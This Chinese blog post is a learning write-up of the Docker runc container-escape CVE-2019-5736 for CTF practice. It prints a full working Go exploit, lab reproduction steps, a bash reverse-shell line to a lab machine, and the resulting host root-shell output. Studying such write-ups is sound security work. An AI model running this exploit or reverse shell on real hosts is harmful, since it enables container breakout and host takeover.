容器逃逸学习 (1)

近年来,有些pwn题会出一些有关于容器逃逸的题目,虽然很多都是板子题,但如果没有学过相关内容,比赛的时候还是会两眼一抹黑。因此本文将开始容器逃逸的相关内容学习。

笔者的计划是,通过具体的已发布的漏洞开始,逐步向底层逻辑前进。

在这第1篇文章中,我们从一个CVE漏洞开始------CVE-2019-5736,作为容器逃逸的入门。

主要参考资料:传送门(笔者觉得这篇文章写的非常好)

这是一个著名的Docker容器逃逸漏洞,影响范围为:Docker 18.09.2及以前,这些版本的Docker使用了1.0-rc6及以下的docker-runc从而导致漏洞。漏洞的成因是攻击者对主机的runc二进制文件进行重写,从而在提权的同时完成逃逸。下面我们就来具体了解一下这个漏洞本身。

1. Docker架构简介

要了解这个漏洞,首先就要了解docker-runc是干什么的。我们从这里可以下载到各种版本的Docker,其中大多都是压缩包。解压压缩包我们会发现其中有几个可执行文件:

  • docker: Docker客户端程序,也是我们最常用的elf,用于对镜像、容器等进行操作。
  • docker-containerd: 一个与Docker容器有关的守护进程,用于管理容器的创建、运行和销毁等操作。
  • docker-containerd-ctr: 与docker-containerd交互的命令行程序。
  • docker-containerd-shim: docker-containerd-ctr和docker-containerd的中间进程,负责通信等工作。
  • dockerd: Docker服务器进程。我们需要知道的是,Docker是以CS架构开发的,平时使用docker命令实质上也都是在和dockerd这个本地的服务器进程进行交互。
  • docker-init: 轻量级的初始化进程,用于完成容器创建时的初始化操作,并作为容器进程的父进程。
  • docker-proxy: 网络代理程序,负责容器之间的通信。
  • docker-runc: 轻量级的容器运行时工具,用于创建和运行容器,负责解析容器的配置并构建隔离环境。

也就是说,这个漏洞主要是对这个运行时工具进行攻击。

2. CVE-2019-5736介绍

这个漏洞的PoC可以在这里找到。

我们来结合这个PoC对这个漏洞的成因与利用方式进行分析。

golang 复制代码
package main

// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
	"fmt"
	"io/ioutil"
	"os"
	"strconv"
	"strings"
	"flag"
)


var shellCmd string

func init() {
	flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
	flag.Parse()
}

func main() {
	// This is the line of shell commands that will execute on the host
	var payload = "#!/bin/bash \n" + shellCmd
	// First we overwrite /bin/sh with the /proc/self/exe interpreter path
	fd, err := os.Create("/bin/sh")
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Fprintln(fd, "#!/proc/self/exe")
	err = fd.Close()
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Println("[+] Overwritten /bin/sh successfully")

	// Loop through all processes to find one whose cmdline includes runcinit
	// This will be the process created by runc
	var found int
	for found == 0 {
		pids, err := ioutil.ReadDir("/proc")
		if err != nil {
			fmt.Println(err)
			return
		}
		for _, f := range pids {
			fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
			fstring := string(fbytes)
			if strings.Contains(fstring, "runc") {
				fmt.Println("[+] Found the PID:", f.Name())
				found, err = strconv.Atoi(f.Name())
				if err != nil {
					fmt.Println(err)
					return
				}
			}
		}
	}

	// We will use the pid to get a file handle for runc on the host.
	var handleFd = -1
	for handleFd == -1 {
		// Note, you do not need to use the O_PATH flag for the exploit to work.
		handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
		if int(handle.Fd()) > 0 {
			handleFd = int(handle.Fd())
		}
	}
	fmt.Println("[+] Successfully got the file handle")

	// Now that we have the file handle, lets write to the runc binary and overwrite it
	// It will maintain it's executable flag
	for {
		writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
		if int(writeHandle.Fd()) > 0 {
			fmt.Println("[+] Successfully got write handle", writeHandle)
			fmt.Println("[+] The command executed is" + payload)
			writeHandle.Write([]byte(payload))
			return
		}
	}
}

A. 覆盖/bin/sh

在PoC中可以看到,fmt.Fprintln将/bin/sh这个二进制 文件的前面几个字节修改成了#!/proc/self/exe\n,什么意思呢?这相当于迷惑了Linux系统,将它视作一个Linux Shell文件而不是ELF二进制可执行文件。通过这种覆盖,/bin/sh仍然可以执行,但实际上它完成的将不再是/bin/sh原本的功能,而是跑去执行/proc/self/exe这个文件。

那么/proc/self/exe这个文件又是什么?为什么要执行这个文件呢?在文章开头的资料中给出了答案。

B. 找到docker-runc进程

/proc目录中,有很多以数字命名的目录,每一个数字都代表当前一个进程的进程号,而目录中则提供了与这个进程有关的文件,其中就有exe文件。这个文件是一个符号链接,指向创建这个进程的可执行文件或这个进程加载的动态链接库。

好,现在我们已经知道进程的可执行文件本身能够在/proc中找到,那么这和本文要讲的CVE有什么关系呢?这就需要了解一下docker-runc的工作原理了。在启动一个容器时,docker-runc会首先构建文件系统等配置,然后fork一次,在子进程调用容器的启动文件完成启动。这样做的结果是,docker-runc这个进程本身也能在容器的进程列表中找到。既然docker-runc在容器中也拥有一个进程号,我们就能够通过遍历所有进程找到它。

具体的遍历方法是:遍历所有进程的cmdline文件并查找runc字符串。cmdline文件顾名思义,保存了进程的命令行参数。如果docker-runc程序位于进程表中,runc一定能够在命令行参数中找到。

C. 尝试以只读方式打开runc文件

找到了我们要的进程号之后,我们就可以打开对应的exe文件了。但需要注意的是,这个文件本身是只读的,我们不能直接以读写模式打开,因此这里利用了一个/proc文件的特性。打开/proc目录下的文件时,不受mnt命名空间的影响,在进行权限检查后就能直接获得文件描述符。

对于一个普通路径下的文件,当进程打开这个文件时,mnt命名空间会对路径进行解析,并生成文件系统视图,确定进程是否能够打开这个文件。但是对于/proc目录则不受mnt命名空间的影响,这使得以其他权限打开文件描述符成为可能,也即------绕过了mnt命名空间的约束。经过与老师的讨论,我不将这个特性视为Linux系统的漏洞。

需要注意的是,打开这个文件本身需要在容器中具有root权限,如果没有,则可能还需要完成提权。

D. 以读写方式打开文件描述符

以只读方式打开exe文件后,可通过以读写方式打开文件描述符的方式绕过权限限制,打开exe文件,实际上就是docker-runc文件。考虑到Linux系统中不允许修改正在执行的程序文件,因此这里需要多次尝试,在docker-runc停止工作时以抢占的方式打开这个文件。

E. 篡改主机的docker-runc文件,注入payload

当docker-runc文件可写后,我们就可以向其中写入任意代码并执行。

3. CVE-2019-5736复现

A. 准备工作

为了复现这个漏洞,我们需要下载18.09.2以下版本的docker。这里推荐一个仓库,可以很方便地安装用于漏洞复现的docker环境:链接。下面是下载版本:

  • docker: 18.03.1-ce
  • 镜像:Ubuntu 16.04(这个需要注意,由于我们使用的docker版本比较低,如果下载18.04及以上的Ubuntu会报错:Error response from daemon: missing signature key,只能下载更低版本的Ubuntu。)
  • 容器创建:docker run -it ubuntu:16.04 /bin/bash

B. 编译文件

最新版本的PoC中将要执行的命令移动到了命令行参数中,方便我们灵活地执行任意代码。PoC仓库:链接

bash 复制代码
go build main.go

之后将编译好的PoC复制到docker容器。

C. 触发漏洞

笔者初学容器逃逸,按照网上的方法尝试了很多次,才终于找到漏洞触发的方法。最后发现是网上的方法说的不详细。

Step 1

在另一台虚拟机(192.168.198.135)中打开50000端口的监听,设置PoC的任意执行命令为反弹shell命令:

bash 复制代码
bash -i >& /dev/tcp/192.168.198.135/50000 0>&1

Step 2

用bash作为命令行打开容器:

bash 复制代码
docker exec -it <容器名> bash

Step 3

apt update,安装netcat。

复制PoC二进制ELF执行PoC代码,立即可以看到/bin/sh被覆盖的提示信息,但是一直找不到runc进程,这是因为目前docker还没有需要runc参与的任务。

Step 4

在主机另一个终端打开容器的命令行让PoC检测到runc。但这次一定要用/bin/sh打开命令行而不是bash。docker exec命令执行后瞬间就可以看到runc进程被修改的提示信息。在新的终端中用sh无法打开容器的命令行,显示No help topic for '/bin/sh'

Step 5

在新的终端再一次尝试用sh打开容器的命令行,随后命令行阻塞,成功执行反弹shell代码,下面是攻击者机器的部分命令行显示内容:

bash 复制代码
root@colin-virtual-machine:~/Desktop# nc -vv -lp 50000
Listening on 0.0.0.0 50000
Connection received on 192.168.198.xxx 42248
bash: cannot set terminal process group (8750): Inappropriate ioctl for device
bash: no job control in this shell
<ebe2896995719366ddc8dd1893c0081bff30f6c5cf7d3c339# ls
ls
16505d598214f0c33ba21d8e96f5ecf34db215d32ba229527a67314d7ed96c7a.pid
config.json
init.pid
log.json
rootfs
<ebe2896995719366ddc8dd1893c0081bff30f6c5cf7d3c339# uname -a
uname -a
Linux ubuntu 5.4.0-150-generic #167~18.04.1-Ubuntu SMP Wed May 24 00:51:42 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
<ebe2896995719366ddc8dd1893c0081bff30f6c5cf7d3c339# pwd
pwd
/run/docker/containerd/daemon/io.containerd.runtime.v1.linux/moby/cf90012c3bea6ddebe2896995719366ddc8dd1893c0081bff30f6c5cf7d3c339
<ebe2896995719366ddc8dd1893c0081bff30f6c5cf7d3c339# 

复现完毕。

相关推荐
叶落阁主1 小时前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954482 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954482 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star2 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954482 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher4 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行7 天前
网络安全总结
安全·web安全
西岸行者7 天前
学习笔记:SKILLS 能帮助更好的vibe coding
笔记·学习